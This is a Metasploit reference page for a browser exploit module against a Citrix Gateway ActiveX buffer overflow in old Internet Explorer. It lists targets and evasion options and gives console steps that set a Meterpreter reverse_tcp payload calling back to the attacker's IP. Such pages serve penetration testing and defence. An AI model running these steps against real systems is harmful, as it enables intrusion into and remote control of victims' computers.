Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability | Metasploit Exploit Database (DB)

Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability

This module exploits a stack based buffer overflow in the Citrix Gateway ActiveX control. Exploitation of this vulnerability requires user interaction. The victim must click a button in a dialog to begin a scan. This is typical interaction that users should be accustom to. Exploitation results in code execution with the privileges of the user who browsed to the exploit page.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • Michal Trojnara < >
  • bannedit < bannedit [at] metasploit.com >
  • sinn3r < sinn3r [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - IE 6 on Windows XP SP3
  • 2 - IE 7 on Windows XP SP3
  • 3 - IE 7 on Windows Vista

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/citrix_gateway_actx
msf exploit(citrix_gateway_actx) > show payloads
msf exploit(citrix_gateway_actx) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(citrix_gateway_actx) > set LHOST [MY IP ADDRESS]
msf exploit(citrix_gateway_actx) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use for this exploit (default is random)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)